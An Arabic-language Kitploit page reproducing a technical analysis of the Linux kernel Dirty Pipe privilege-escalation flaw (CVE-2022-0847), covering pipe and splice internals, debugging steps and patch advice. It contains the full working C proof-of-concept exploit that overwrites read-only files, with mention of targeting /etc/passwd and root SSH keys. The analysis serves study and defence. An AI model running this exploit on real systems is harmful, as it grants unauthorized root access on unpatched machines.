Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-0847 — CVE-2022-0847 POC و Docker وتحليل تقرير | Kitploit
أدوات/GitHubGitHub/chenaotian/cve-2022-0847
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubchenaotian/cve-2022-0847

CVE-2022-0847

CVE-2022-0847 POC و Docker وتحليل تقرير

عرض المستودع
257منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-0847 Dirty Pipe تحليل رفع الصلاحيات في نواة لينكس

[toc]

نُشرت هذه المقالة في الأصل في حساب الأمن العام لشركة Huawei، وهذه هي نسخة المدونة (الأكثر اكتمالاً)

رابط النشر الأصلي: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

ملخص الثغرة

رقم الثغرة: CVE-2022-0847 (الاسم المستعار: Dirty Pipe)

المنتج المتأثر: linux kernel - splice syscall

الإصدارات المتأثرة: تم إدخاله في linux 5.8 بواسطة التصحيح f6dd975583bd ~ تم إصلاحه في 5.16.11 و 5.15.25 و 5.10.102

خطورة الثغرة: يمكن كتابة محتوى لا يتجاوز صفحة واحدة (كافٍ) لأي ملف قابل للقراءة، مما يسمح برفع الصلاحيات محليًا.

إعداد البيئة

Docker لتحليل الثغرة: chenaotian/cve-2022-0847 (إذا لم يكن متاحًا بعد، فأنا لم أقم برفعه بعد)

يوفر:

  • نواة لينكس 5.13 قابلة للتصحيح ومترجمة مع الثغرة
  • qemu, gdb, كود مصدر نواة لينكس 5.13
  • الاستغلال (exp)

بدء التشغيل:

root@kitploit:~
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

التصحيح:

root@kitploit:~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

مبدأ الثغرة

المبدأ المختصر للثغرة هو أن استدعاء دالة splice يمكنه إرسال ملف إلى pipe بطريقة "النسخ الصفري" (zero-copy). على مستوى الكود، النسخ الصفري يعني استخدام ذاكرة التخزين المؤقت للملف (page cache) مباشرة كصفحة buf في الـ pipe. لكن تم إدخال ثغرة عدم تهيئة متغير هنا، مما يؤدي إلى إمكانية التعامل مع صفحة ذاكرة التخزين المؤقت للملف لاحقًا في قناة الـ pipe على أنها صفحة ذاكرة تخزين مؤقت عادية للـ pipe، وبالتالي يمكن تعديلها عن طريق "الكتابة المتتابعة" (续写). ومع ذلك، في هذه الحالة، لا تعتبر النواة صفحة ذاكرة التخزين المؤقت هذه "صفحة متسخة" (dirty page)، وبالتالي لا يتم تحديثها إلى القرص لفترة قصيرة (حتى إعادة التشغيل التالية أو ما شابه). خلال هذه الفترة، ستستخدم جميع السيناريوهات التي تصل إلى هذا الملف صفحة ذاكرة التخزين المؤقت المعدلة، مما يحقق عملية "كتابة عشوائية في أي ملف قابل للقراءة لفترة قصيرة". يمكن استخدام هذا لرفع الصلاحيات محليًا.

نقطة حدوث الثغرة

وفقًا للتصحيح، تقع نقطة حدوث الثغرة في دالة copy_page_to_iter_pipe، حيث تمت إضافة تهيئة لـ buf->flags. لذا فهذه ثغرة عدم تهيئة متغير.

image-20220308170149137

تظهر نقطة استدعاء copy_page_to_iter_pipe في استدعاء النظام splice. تقوم دالة splice (استدعاء النظام) بنقل محتويات الملف إلى الأنبوب (pipe) بطريقة "النسخ الصفري". مقارنةً بنقل محتويات الملف مباشرةً إلى الأنبوب، فإن الأداء أفضل. سيتم شرح ذلك بالتفصيل أدناه.

مبدأ pipe و pipe_write

أولاً، الاسم المستعار للثغرة هو Dirty Pipe، لذا دعنا نفهم الأنبوب (pipe). pipe هي قناة اتصال توفرها النواة، يتم إنشاؤها بواسطة دالة pipe/pipe2، وتعيد اثنين من واصفات الملفات: أحدهما لإرسال البيانات والآخر لاستقبالها، مثل طرفي الأنبوب. لن ندخل في التفاصيل الدقيقة للاستخدام.

image-20220309124007780

باختصار، في النواة، يبلغ الطول الإجمالي لذاكرة التخزين المؤقت للـ pipe عادةً 65536 بايت، وتُدار على شكل صفحات، بإجمالي 16 صفحة (كل صفحة 4096 بايت). الصفحات ليست متجاورة، بل تُدار عبر مصفوفة، لتشكل قائمة دائرية. يتم الحفاظ على مؤشرين للقائمة: واحد للكتابة (pipe->head) وآخر للقراءة (pipe->tail). سنحلل هنا بشكل أساسي دالة pipe_write:

linux-5.13\fs\pipe.c : 400 : pipe_write

root@kitploit:~
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1] إذا لم تكن ذاكرة التخزين المؤقت للـ pipe فارغة، فحاول الكتابة "بشكل متتابع" من الصفحة الحالية الأخيرة
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2] المفتاح: إذا كانت علامة PIPE_BUF_FLAG_CAN_MERGE موجودة، فهذا يعني أن الصفحة تسمح بالكتابة المتتابعة.
             * إذا كان طول الكتابة لا يتجاوز الصفحة، فاكتب بشكل متتابع؛ وإلا فابدأ صفحة جديدة. */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3] إذا تعذرت الكتابة المتتابعة على الصفحة السابقة، فابدأ صفحة جديدة
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4] طلب صفحة جديدة
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5] وضع الصفحة الجديدة في مصفوفة الصفحات
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6] تعيين العلم، افتراضيًا PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7] عملية النسخ
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}
  1. إذا لم تكن قناة الـ pipe الحالية فارغة (تكون فارغة عندما head==tail)، فهذا يعني وجود بيانات غير مقروءة في القناة. يتم الحصول على المؤشر head، أي الصفحة الأحدث المستخدمة للكتابة، والتحقق من len و offset لتلك الصفحة (للعثور على نهاية البيانات). ثم محاولة الكتابة بشكل متتابع على الصفحة الحالية.
  2. التحقق مما إذا كانت الصفحة الحالية تحمل علامة PIPE_BUF_FLAG_CAN_MERGE، إذا لم تكن موجودة، فلا يُسمح بالكتابة المتتابعة على الصفحة الحالية. أو إذا تجاوز طول البيانات المضافة إلى البيانات السابقة طول الصفحة الواحدة (أي عملية كتابة تتجاوز حدود الصفحة)، فلا يمكن الكتابة بشكل متتابع.
  3. إذا تعذرت الكتابة المتتابعة على الصفحة السابقة، فابدأ صفحة جديدة.
  4. alloc_page تطلب صفحة جديدة.
  5. يتم وضع الصفحة الجديدة في بداية المصفوفة (قد تحل محل صفحة موجودة)، وتهيئة القيم.
  6. buf->flag يتم تهيئتها افتراضيًا إلى PIPE_BUF_FLAG_CAN_MERGE، لأن الحالة الافتراضية تسمح بالكتابة المتتابعة على الصفحة.
  7. يتم نسخ البيانات المكتوبة، وتكرر العملية المذكورة أعلاه حتى الانتهاء.

مفتاح استغلال الثغرة هو علامة PIPE_BUF_FLAG_CAN_MERGE غير المهيأة في splice، والتي تحدد ما إذا كان يمكننا الكتابة بشكل متتابع على صفحة pipe "غير المكتملة".

من splice إلى copy_page_to_iter_pipe

كما ذكر أعلاه، يدير pipe 16 صفحة كذاكرة تخزين مؤقت. طريقة النسخ الصفري في splice هي استبدال صفحة ذاكرة التخزين المؤقت للـ pipe بصفحة ذاكرة التخزين المؤقت للملف مباشرةً (تغيير مؤشر صفحة ذاكرة التخزين المؤقت للـ pipe للإشارة إلى صفحة ذاكرة التخزين المؤقت للملف).

image-20220309124515813

مكدس استدعاءات استدعاء النظام splice إلى دالة الثغرة copy_page_to_iter_pipe عميق جدًا، ولن نحلله بالتفصيل. مكدس الاستدعاءات كالتالي:

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read(in->f_op->splice_read الافتراضي هو generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

الدالة copy_page_to_iter_pipe التي تحتوي على الثغرة تقوم أساسًا بتوجيه بنية صفحة ذاكرة التخزين المؤقت للـ pipe إلى صفحة ذاكرة التخزين المؤقت للملف المراد نقله:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

root@kitploit:~
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1] الحصول على صفحة ذاكرة التخزين المؤقت المقابلة للـ pipe
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2] تعديل معلومات صفحة ذاكرة التخزين المؤقت للـ pipe لتشير إلى صفحة ذاكرة التخزين المؤقت للملف
	get_page(page);
	buf->page = page;//[2] مؤشر الصفحة يشير الآن إلى صفحة ذاكرة التخزين المؤقت للملف
	buf->offset = offset;//[2] تعيين offset و len إلى المعلومات الحالية (تحددها معاملات splice)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}
  1. أولاً، بناءً على بنية المصفوفة الدائرية لصفحات الـ pipe، يتم العثور على موقع مؤشر الكتابة الحالي (pipe->head).
  2. يتم توجيه الصفحة المطلوب كتابتها إلى صفحة ذاكرة التخزين المؤقت للملف الجاهزة، وتعيين معلومات أخرى مثل len التي تحددها معاملات استدعاء النظام splice. لم يتم هنا تهيئة flag، مما يسبب الثغرة.

بعد التهيئة، تبدو pipe->bufs هكذا:

image-20220308165052936

الآن، بناءً على كود pipe_write الذي حللناه أعلاه، إذا تم استدعاء pipe_write مرة أخرى لكتابة بيانات إلى الـ pipe، فإن مؤشر الكتابة (pipe->head) يشير إلى الصفحة في الشكل أعلاه. إذا كانت flag تساوي PIPE_BUF_FLAG_CAN_MERGE، فسيتم اعتبار أنه يمكن متابعة الكتابة على هذه الصفحة، طالما أن طول الكتابة لا يتجاوز الصفحة:

root@kitploit:~
#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1] إذا لم تكن ذاكرة التخزين المؤقت للـ pipe فارغة، فحاول الكتابة "بشكل متتابع" من الصفحة الحالية الأخيرة
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2] المفتاح: إذا كانت علامة PIPE_BUF_FLAG_CAN_MERGE موجودة، فهذا يعني أن الصفحة تسمح بالكتابة المتتابعة.
                 * إذا كان طول الكتابة لا يتجاوز الصفحة، فاكتب بشكل متتابع؛ وإلا فابدأ صفحة جديدة. */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

آلية ذاكرة التخزين المؤقت للصفحات في نواة لينكس (page cache)

تضع لينكس الملفات المفتوحة في صفحات ذاكرة تخزين مؤقت (page cache). يتم الاحتفاظ بالصفحات المخزنة مؤقتًا بعد استخدامها لتجنب عمليات الإدخال/الإخراج غير الضرورية. في فترة قصيرة، سيؤدي الوصول إلى نفس الملف إلى التعامل مع نفس صفحات ذاكرة التخزين المؤقت للملف، بدلاً من فتحه مرارًا وتكرارًا. من خلال تعديل صفحة ذاكرة التخزين المؤقت للملف بهذه الطريقة، فإن عمليات الوصول (القراءة) إلى هذا الملف في فترة قصيرة ستقرأ صفحة ذاكرة التخزين المؤقت المعدلة، مما يكمل الاستغلال.

استغلال الثغرة

تم وصفه أعلاه بالفعل، عملية استغلال الثغرة بسيطة جدًا، فقط افهم مبدأ الثغرة لاستخدامها. وفقًا لوصف المؤلف، تنقسم العملية تقريبًا إلى الخطوات التالية:

  1. إنشاء أنبوب (pipe)
  2. ملء الأنبوب بالكامل (باستخدام pipe_write)، بحيث يتم تهيئة كل buf (صفحات ذاكرة التخزين المؤقت للـ pipe) ويكون العلم flag مهيأ افتراضيًا إلى PIPE_BUF_FLAG_CAN_MERGE
  3. إفراغ الأنبوب (باستخدام pipe_read)، بحيث عند استخدام استدعاء النظام splice لنقل الملف، سيتم استخدام بنية buf المهيأة مسبقًا.
  4. استدعاء دالة splice لنقل الملف الذي نريد تعديله إلى الأنبوب.
  5. متابعة الكتابة إلى الأنبوب (pipe_write)، حيث سيتم عندها الكتابة فوق صفحة ذاكرة التخزين المؤقت للملف، مما يكمل التعديل المؤقت للملف.

تفاصيل التصحيح

بعد انتهاء الخطوة الثانية، بعد ملء الأنبوب وإفراغه، يمكن رؤية أن بنية bufs تحتوي على البيانات التي سيتم إعادة استخدامها للقيم غير المهيأة لاحقًا:

root@kitploit:~
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

image-20220308173705037

بعد تنفيذ splice ونقل الملف، يصبح الشكل كما يلي، حيث flag غير مهيأ، ويجب تعيين len هنا صغيرًا قدر الإمكان، لأنه كلما كان أصغر، زاد الطول الذي يمكننا كتابته لاحقًا أثناء "الكتابة المتتابعة". تم تعيينه هنا إلى 1، والإزاحة (offset) هي عنوان البدء الذي نريد تعديله. هنا سيشير pipe->bufs->page إلى عنوان البدء:

root@kitploit:~
splice(fd, &offset, p[1], NULL, 1, 0);

image-20220308165052936

عند تنفيذ pipe_write مرة أخرى، يتم استيفاء شرط الكتابة المتتابعة، ويتم الكتابة مباشرة على الصفحة:

image-20220308174556226

الاستغلال (exp)

ليس من كتابتي، إنه من الإفصاح عن الثغرة:

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

نجاح رفع الصلاحيات:

root@kitploit:~
gcc exp.c -o exp --static
./exp file offset string

image-20220308172336511

هذا يوضح تأثير الكتابة التعسفية على الملف. يمكن استخدامه عمليًا لتعديل /etc/passwd أو مفاتيح SSH أو بعض ملفات suid لتحقيق رفع الصلاحيات الفعلي. لن نقوم بذلك عمليًا هنا (لست منفذًا للاختراقات على أي حال).

بعض القيود الطفيفة (لا تؤثر كثيرًا)

  1. لا يمكن تغيير حجم الملف (لا يمكن جعله أكبر).
  2. لا يمكن أن يتجاوز طول الكتابة الواحدة صفحة واحدة (4 كيلوبايت).

إجراءات التخفيف

الحل المقترح

نظرًا لأنها ثغرة في النواة، لا يوجد حل جيد مؤقتًا. يُنصح بترقية النواة إلى الإصدار المُصلح: 5.16.11, 5.15.25, 5.10.102 أو أحدث.

التحقق من الثغرة (أداة)

بناءً على الـ POC الذي نشره مُفصح الثغرة، قمت بكتابة أداة تحقق بسيطة. إذا كانت الثغرة موجودة، يظهر "There is CVE-2022-0847":

image-20220308202244668

إذا لم تكن موجودة، يظهر "You are safe!".

مرجع

الإفصاح عن الثغرة: https://dirtypipe.cm4all.com/

نظرية المؤامرة

ظهور العلم PIPE_BUF_FLAG_CAN_MERGE في الكود 5 مرات فقط: مرة واحدة في تعريف #define، ومرتين في pipe_write. والمتبقي مرتين في splice:

image-20220308211006312

وفقًا للكود الذي يشارك فيه هذا المتغير، فإن معناه هو ما إذا كان مسموحًا بالكتابة المتتابعة على أحدث صفحة ذاكرة تخزين مؤقت للـ pipe. عادةً، الصفحات التي يطلبها الـ pipe نفسه هي صفحات عادية، والكتابة المتتابعة عليها أمر طبيعي. متى لا يُسمح بالكتابة المتتابعة؟ عندما لا تكون هذه الصفحة من الصفحات التي طلبها الـ pipe نفسه، فلا يمكن تعديلها عشوائيًا. بناءً على الوضع الحالي، تقريبًا فقط في splice تظهر صفحات ليست من صفحات الـ pipe الخاصة. بمعنى آخر، العلم PIPE_BUF_FLAG_CAN_MERGE مصمم خصيصًا لـ splice. ثم تقول إنه لم يتم تهيئته؟

لذا أشتبه في أن هذه الثغرة ليست بسبب الإهمال على الإطلاق...

تنزيل الأداة